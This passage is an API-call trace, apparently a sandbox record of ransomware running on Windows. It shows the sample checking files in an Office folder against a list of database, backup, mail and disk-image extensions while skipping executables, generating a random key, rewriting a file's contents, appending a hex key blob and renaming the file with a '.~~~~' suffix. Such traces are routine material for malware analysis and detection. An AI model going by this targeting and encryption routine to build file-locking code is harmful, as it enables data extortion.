	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".pst") returned 0x0
	[0142.048] lstrlenW (lpString=".dbv") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".dbv") returned 0x0
	[0142.048] lstrlenW (lpString=".SDF") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".SDF") returned 0x0
	[0142.048] lstrlenW (lpString=".dtxs") returned 5
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.048] lstrlenW (lpString=".db3") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".db3") returned 0x0
	[0142.048] lstrlenW (lpString=".OST") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".OST") returned 0x0
	[0142.048] lstrlenW (lpString=".dbx") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".dbx") returned 0x0
	[0142.048] lstrlenW (lpString=".DB3") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".DB3") returned 0x0
	[0142.048] lstrlenW (lpString=".DAT") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".DAT") returned 0x0
	[0142.048] lstrlenW (lpString=".VHDX") returned 5
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.048] lstrlenW (lpString=".ndf") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".ndf") returned 0x0
	[0142.048] lstrlenW (lpString=".DB") returned 3
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".DB") returned 0x0
	[0142.048] lstrlenW (lpString=".sql") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".sql") returned 0x0
	[0142.048] lstrlenW (lpString=".MYD") returned 4
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".MYD") returned 0x0
	[0142.049] lstrlenW (lpString=".DBT") returned 4
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".DBT") returned 0x0
	[0142.049] lstrlenW (lpString=".ACCDB") returned 6
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.049] lstrlenW (lpString=".fdb") returned 4
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".fdb") returned 0x0
	[0142.049] lstrlenW (lpString=".bak") returned 4
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".bak") returned 0x0
	[0142.049] lstrlenW (lpString=".myd") returned 4
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".myd") returned 0x0
	[0142.049] lstrlenW (lpString=".DTXS") returned 5
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.049] lstrlenW (lpString=".ckp") returned 4
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".ckp") returned 0x0
	[0142.049] lstrlenW (lpString=".dbt") returned 4
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".dbt") returned 0x0
	[0142.049] lstrlenW (lpString=".db") returned 3
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".db") returned 0x0
	[0142.049] lstrlenW (lpString=".TXT") returned 4
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".TXT") returned 0x0
	[0142.049] lstrlenW (lpString=".MDF") returned 4
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".MDF") returned 0x0
	[0142.049] lstrlenW (lpString=".bdb") returned 4
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".bdb") returned 0x0
	[0142.049] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.050] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.051] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.051] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.051] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26204090610) returned 1
	[0142.051] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe1383b0, dwHighDateTime=0x1d60e1e)) 
	[0142.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a33e0
	[0142.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a33e0 | out: hHeap=0x300000) returned 1
	[0142.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0142.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b748
	[0142.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0142.051] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.052] GetLastError () returned 0x0
	[0142.052] GetLastError () returned 0x0
	[0142.052] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.052] GetLastError () returned 0x0
	[0142.053] GetLastError () returned 0x0
	[0142.053] ReadFile (in: hFile=0xc4, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0xce72, lpOverlapped=0x0) returned 1
	[0142.062] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff318e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.062] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xce72, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0xce72, lpOverlapped=0x0) returned 1
	[0142.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.062] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.062] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.062] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.062] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.063] CloseHandle (hObject=0xc4) returned 1
	[0142.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0142.063] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif.~~~~")) returned 1
	[0142.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0142.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.066] GetLastError () returned 0x0
	[0142.066] RtlWakeConditionVariable () returned 0x0
	[0142.066] GetCurrentThreadId () returned 0x3a4
	[0142.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".scr") returned 0x0
	[0142.066] lstrlenW (lpString=".cmd") returned 4
	[0142.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".cmd") returned 0x0
	[0142.066] lstrlenW (lpString=".dll") returned 4
	[0142.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".dll") returned 0x0
	[0142.066] lstrlenW (lpString=".bat") returned 4
	[0142.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".bat") returned 0x0
	[0142.066] lstrlenW (lpString=".cpl") returned 4
	[0142.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".cpl") returned 0x0
	[0142.066] lstrlenW (lpString=".sys") returned 4
	[0142.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".sys") returned 0x0
	[0142.067] lstrlenW (lpString=".msc") returned 4
	[0142.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".msc") returned 0x0
	[0142.067] lstrlenW (lpString=".com") returned 4
	[0142.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".com") returned 0x0
	[0142.067] lstrlenW (lpString=".lnk") returned 4
	[0142.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".lnk") returned 0x0
	[0142.067] lstrlenW (lpString=".msp") returned 4
	[0142.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".msp") returned 0x0
	[0142.067] lstrlenW (lpString=".pif") returned 4
	[0142.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".pif") returned 0x0
	[0142.067] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0142.069] lstrlenW (lpString=".sqb") returned 4
	[0142.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".sqb") returned 0x0
	[0142.069] lstrlenW (lpString=".ost") returned 4
	[0142.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".ost") returned 0x0
	[0142.069] lstrlenW (lpString=".txt") returned 4
	[0142.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".txt") returned 0x0
	[0142.069] lstrlenW (lpString=".mdt") returned 4
	[0142.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".mdt") returned 0x0
	[0142.069] lstrlenW (lpString=".BDB") returned 4
	[0142.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".BDB") returned 0x0
	[0142.069] lstrlenW (lpString=".eql") returned 4
	[0142.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".eql") returned 0x0
	[0142.069] lstrlenW (lpString=".DBF") returned 4
	[0142.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".DBF") returned 0x0
	[0142.069] lstrlenW (lpString=".EQL") returned 4
	[0142.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".EQL") returned 0x0
	[0142.069] lstrlenW (lpString=".FDB") returned 4
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".FDB") returned 0x0
	[0142.070] lstrlenW (lpString=".EDB") returned 4
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".EDB") returned 0x0
	[0142.070] lstrlenW (lpString=".DACPAC") returned 7
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.070] lstrlenW (lpString=".VHD") returned 4
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".VHD") returned 0x0
	[0142.070] lstrlenW (lpString=".DBV") returned 4
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".DBV") returned 0x0
	[0142.070] lstrlenW (lpString=".dacpac") returned 7
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.070] lstrlenW (lpString=".sdf") returned 4
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".sdf") returned 0x0
	[0142.070] lstrlenW (lpString=".accdb") returned 6
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".accdb") returned 0x0
	[0142.070] lstrlenW (lpString=".DBX") returned 4
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".DBX") returned 0x0
	[0142.070] lstrlenW (lpString=".MDT") returned 4
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".MDT") returned 0x0
	[0142.070] lstrlenW (lpString=".SQB") returned 4
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".SQB") returned 0x0
	[0142.070] lstrlenW (lpString=".vhd") returned 4
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".vhd") returned 0x0
	[0142.070] lstrlenW (lpString=".bac") returned 4
	[0142.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".bac") returned 0x0
	[0142.070] lstrlenW (lpString=".mdf") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".mdf") returned 0x0
	[0142.071] lstrlenW (lpString=".BAK") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".BAK") returned 0x0
	[0142.071] lstrlenW (lpString=".BAC") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".BAC") returned 0x0
	[0142.071] lstrlenW (lpString=".dbs") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".dbs") returned 0x0
	[0142.071] lstrlenW (lpString=".vhdx") returned 5
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.071] lstrlenW (lpString=".NDF") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".NDF") returned 0x0
	[0142.071] lstrlenW (lpString=".dat") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".dat") returned 0x0
	[0142.071] lstrlenW (lpString=".DBS") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".DBS") returned 0x0
	[0142.071] lstrlenW (lpString=".CKP") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".CKP") returned 0x0
	[0142.071] lstrlenW (lpString=".edb") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".edb") returned 0x0
	[0142.071] lstrlenW (lpString=".PST") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".PST") returned 0x0
	[0142.071] lstrlenW (lpString=".dbf") returned 4
	[0142.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".dbf") returned 0x0
	[0142.071] lstrlenW (lpString=".SQL") returned 4
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".SQL") returned 0x0
	[0142.072] lstrlenW (lpString=".pst") returned 4
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".pst") returned 0x0
	[0142.072] lstrlenW (lpString=".dbv") returned 4
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".dbv") returned 0x0
	[0142.072] lstrlenW (lpString=".SDF") returned 4
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".SDF") returned 0x0
	[0142.072] lstrlenW (lpString=".dtxs") returned 5
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.072] lstrlenW (lpString=".db3") returned 4
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".db3") returned 0x0
	[0142.072] lstrlenW (lpString=".OST") returned 4
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".OST") returned 0x0
	[0142.072] lstrlenW (lpString=".dbx") returned 4
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".dbx") returned 0x0
	[0142.072] lstrlenW (lpString=".DB3") returned 4
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".DB3") returned 0x0
	[0142.072] lstrlenW (lpString=".DAT") returned 4
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".DAT") returned 0x0
	[0142.072] lstrlenW (lpString=".VHDX") returned 5
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.072] lstrlenW (lpString=".ndf") returned 4
	[0142.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".ndf") returned 0x0
	[0142.072] lstrlenW (lpString=".DB") returned 3
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".DB") returned 0x0
	[0142.073] lstrlenW (lpString=".sql") returned 4
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".sql") returned 0x0
	[0142.073] lstrlenW (lpString=".MYD") returned 4
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".MYD") returned 0x0
	[0142.073] lstrlenW (lpString=".DBT") returned 4
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".DBT") returned 0x0
	[0142.073] lstrlenW (lpString=".ACCDB") returned 6
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.073] lstrlenW (lpString=".fdb") returned 4
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".fdb") returned 0x0
	[0142.073] lstrlenW (lpString=".bak") returned 4
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".bak") returned 0x0
	[0142.073] lstrlenW (lpString=".myd") returned 4
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".myd") returned 0x0
	[0142.073] lstrlenW (lpString=".DTXS") returned 5
	[0142.073] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.073] lstrlenW (lpString=".ckp") returned 4
